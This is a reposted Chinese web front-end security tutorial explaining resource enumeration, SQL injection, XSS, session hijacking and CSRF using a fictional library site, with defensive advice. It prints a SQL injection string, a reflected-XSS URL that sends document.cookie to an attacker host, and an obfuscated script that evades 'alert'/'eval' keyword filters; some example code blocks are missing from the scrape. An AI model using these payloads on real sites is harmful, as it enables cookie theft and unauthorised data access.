web前端安全

時間 2019-11-20

標籤 web 前端安全欄目 HTML 简体版

原文原文鏈接

WEB基本攻擊大體能夠分爲三大類—— 「資源枚舉」、「參數操縱」和「其它攻擊」。javascript

資源枚舉html

有時候受前人（技術前輩也好，你所接任的上一位員工也好）的影響，咱們可能會約定成俗地去作某件事情，好比用駱駝命名法法來命名函數名、用JSDoc的方式來書寫註釋，這樣會讓你的團隊工做更加規範。而後有一天要給項目作備份了，就直接把該項目壓縮爲rar文件，命名爲何呢？首選的天然是「bak.rar」，你看數據庫的備份的形式不也是.bak嘛。前端

因而乎，若是壓縮包所在的地址是可訪問的，那麼全部人均可以輕鬆地下載到這個"bak.rar"文件，你的項目也不存在什麼小祕密了（即便夏天夏天悄悄地過去）。java

這就是「資源枚舉」，別有用心的人會遍歷你站點全部可訪問的目錄，而後把一些常見的備胎文件名（好比「sql.bak」、「index-副本.html」）一個個都枚舉一下，若是運氣好枚舉到了就直接下載。sql

因而跟隨主流在這裏不是好的事情，對於重要的東西，要麼放在外人不可訪問的地方，要麼應當給它起一個不那麼好猜的名字。數據庫

資源枚舉也不只僅侷限於瞎找東西，聰明的人會利用線索來更好地猜東西。後端

假設有一個站點走的僞靜態的高冷路線，不想讓別人知道它所使用的語言和數據庫，但沒有配置好後端錯誤信息的提示。那麼「別有用心」的朋友就能夠在這個站點裏的某個搜索結果頁面篡改url參數，致使數據庫查詢錯誤而返回數據庫錯誤信息頁面，或者輸入一個根本不存在的子頁面地址來獲取錯誤信息，進而可判斷該站點到底用的是什麼數據庫或動態語言。跨域

參數操縱瀏覽器

這裏包括了SQL注入、XPath注入、cgi命令執行，還有XXS和會話劫持等。前三個的攻擊主要是在服務端觸發的，後兩者的攻擊則是側重於客戶端。安全

SQL注入這塊不想細聊了，相信不少朋友都聽到耳朵長繭，不外乎是提交含有SQL操做語句的信息給後端，後端若是沒有作好過濾就執行該語句，攻擊者天然能夠隨意操縱該站點的數據庫。

好比有一個圖書館站點book.com，你點進一本書的詳情頁面，其url是這樣的：

book.com/book?id=100

說明這本書在數據庫中的鍵值是100，後端收到url參數後就執行了數據庫查詢操做：

select * from booktable where id='100'

那麼若是咱們把url更改成

book.com/book?id=100'or'1'='1

那麼數據庫操做執行就變成了：

select * from booktable where id='100'or'1'='1'

從而取出了整個booktable 表單的所有數據。

XPath注入跟SQL注入差很少，只不過這裏的數據庫走的xml格式，攻擊方式天然也得按xml查找的語法來了，具體可看這裏。

cgi命令執行指的是用戶遠程訪問cgi腳本時，經過提交惡意的參數讓服務器執行相關的cgi命令來獲取信息甚至操縱服務器。有興趣的朋友能夠看下這裏。

對於這幾個攻擊，咱們須要作的天然是對提交參數的過濾，最好是前端過濾一遍，後端也過濾一遍（後端的過濾和攔截是最重要的，畢竟經過在瀏覽器禁用腳本的配置能夠躲過前端的過濾）。

XSS（cross-site scripting跨域腳本攻擊）攻擊也是最多見的WEB攻擊之一，其重點是「跨域」和「客戶端執行」。咱們仍是拿那個圖書館網站book.com來調侃下。

假設頁面右上角有一個搜索書籍的地方，你隨便輸入一本壓根就沒有的書，好比「有錢任性指南」，而後點擊「搜索」按鈕。這時候頁面 ( book.com/search?name=有錢任性指南 ) 會返回一段信息：

您搜索的書籍「有錢任性指南」不存在

好的，那咱們輸入這個怎樣：

假設這個圖書館站點沒有對數據作任何過濾，並且會原封不動地把用戶輸入的數據展現回來，那麼返回的頁面天然也會返回這段腳本，從而執行它。

可是這樣很差玩，既然要作攻擊，咱們就要獲取用戶的數據，要獲取數據天然要把信息傳回咱們的服務器（假設接收信息的地址是http://vajoy/get），那我們能夠這樣寫：

不過這樣很差玩啊，收到的老是咱們本身的數據，咱們要收集的應該是別人的cookie信息啊！

小意思，不妨經過QQ羣，或者經過羣發垃圾郵件，來讓其餘人點擊這個地址：

book.com/search?name=<script>document.location='http://vajoy/get?cookie='+document.cookie</script>

這種即是XSS攻擊中的一種，稱爲「Reflected XSS」——基於反射的XSS攻擊，主要依靠站點服務端返回腳本，在客戶端觸發執行從而發起WEB攻擊。

與其相近的是「DOM-based or local XSS」——基於DOM或本地的XSS攻擊。拿我如今工做的項目作比方——爲用戶提供免費的wifi，可是提供免費wifi的網關會往你訪問的任何頁面插入一段腳本，從而植入懸浮廣告（固然你能夠關閉它），這貌似沒什麼，但若是插入的腳本是獲取你敏感數據的惡意腳本那就不同了。像這種直接存在於頁面，無須通過服務器返回腳本處理就直接跨域發送用戶信息的行爲就是基於本地的XSS攻擊。

還有最後一種稱爲「Stored XSS」——基於存儲的XSS攻擊。它是經過貼吧啊博客園啊等地方來發錶帶有惡意跨域腳本的帖子或文章，從而把惡意腳本存儲在裏面，每一個訪問該帖子/文章的人就會中招。

還記得一開始加載本文章的alert彈窗麼？假設博客園對文章進行了過濾，把所有「alert」啊、"eval"啊等敏感字符都過濾掉，那咱們怎麼辦？咱們能夠這樣：

 
        <script type= 
        "text/javascript" 
        > 
       
 
        var x= 
        'eva' 
        +String.fromCharCode( 
        108 
        ),y=window,e= 
        'a' 
        +String.fromCharCode( 
        108 
        )+ 
        'ert("歡迎收看本文章")' 
        ; 
       
 
        y[x][ 
        'call' 
        ]( 
        this 
        ,e); 
       
 
        </script> 
       

照樣實現咱們想要的彈窗無誤。

對於XSS的預防天然也是對提交數據的過濾，另外還有一點——謹慎返回用戶提交的內容！

會話劫持

百度百科有個頗有意思的引喻——「在現實生活中，好比你去市場買菜，在交完錢後你要求先去幹一些別的事情，稍候再來拿菜；若是這個時候某個陌生人要求把菜拿走，賣菜的人會把菜給陌生人嗎？」

這個比喻頗有意思，咱們常規訪問一個http網站時是與其服務器創建了一次HTTP會話。假設你宿舍樓的「朋友」都跟你處於同一個子網上，其中有人想假裝成你來劫持你的HTTP會話，那麼服務器會把菜，哦不，是信息返回給那我的嗎？

答案是確定的，由於HTTP會話並不安全。它在通過TCP/IP協議封裝傳輸數據時，在傳輸的數據的每個字節中插入一個32位的序列號碼，這個序列號用來保持跟蹤數據和提供可靠性（序列號是依循數據順序逐步遞增的）。第三方攻擊者能夠經過嗅探的方式來獲取用戶與服務器通信中的報文信息，若是他能猜想到數據中的序列號，那便能把合法的用戶斷開，假裝成合法用戶讓本身控制後續的通話。

對於會話劫持的預防，能夠走SSH協議、加強網絡安全系統健壯性，也可使用無序的UUID來替代通信中的序列號碼（而非逐步遞增）。

其它攻擊

其它攻擊包括有前面未說起的CSRF攻擊、釣魚攻擊和拒絕服務攻擊等。

CSRF（cross-site request forgery），翻譯爲跨站請求僞造，與XSS很是類似，但XSS是利用用戶對當前網站的信任來發起攻擊，而CSRF是利用網站對用戶的信任來發起攻擊。

依舊拿上述的圖書館站點打個比方，若是它的安全機制很鬆懈——只要用戶登陸了網站後，只要沒關閉瀏覽器，在任何狀況均可以做爲一個已經過身份驗證的用戶來作購書、借書操做（無須從新登陸或者輸入支付密碼什麼的，畢竟已經登陸驗證過一次了嘛）。

那麼咱們給一位用戶發送一份郵件怎樣，裏面放有一條轉向購書執行頁面的連接。。。噢不，那樣還得用戶點擊它，咱們想讓用戶看到的時候就馬上執行了購書操做，咱們能夠這樣作——在郵件中插入一張圖片：

img、script、iframe標籤都是不受同源策略限制的，假設你使用的郵箱很直白地給用戶即時顯示這張圖片，而該用戶又恰好登陸了book.com且沒有關閉瀏覽器，那麼src裏的鏈接就會馬上訪問book.com/pay頁面，並按照已經過身份驗證的狀況來處理，從而作了購書的操做。

相信如今你會很清楚爲什麼如今的郵箱都不會直接顯示郵件裏的圖片了吧——都是爲了你的安全考慮。

對於CSRF攻擊，咱們所能作的能夠有：

1. 檢查報頭中的Referer參數確保請求發自正確的網站（但XHR請求可調用setRequestHeader方法來修改Referer報頭）；

2. 對於任何重要的請求都須要從新驗證用戶的身份；

3. 建立一個惟一的令牌（Token），將其存在服務端的session中及客戶端的cookie中，對任何請求，都檢查兩者是否一致。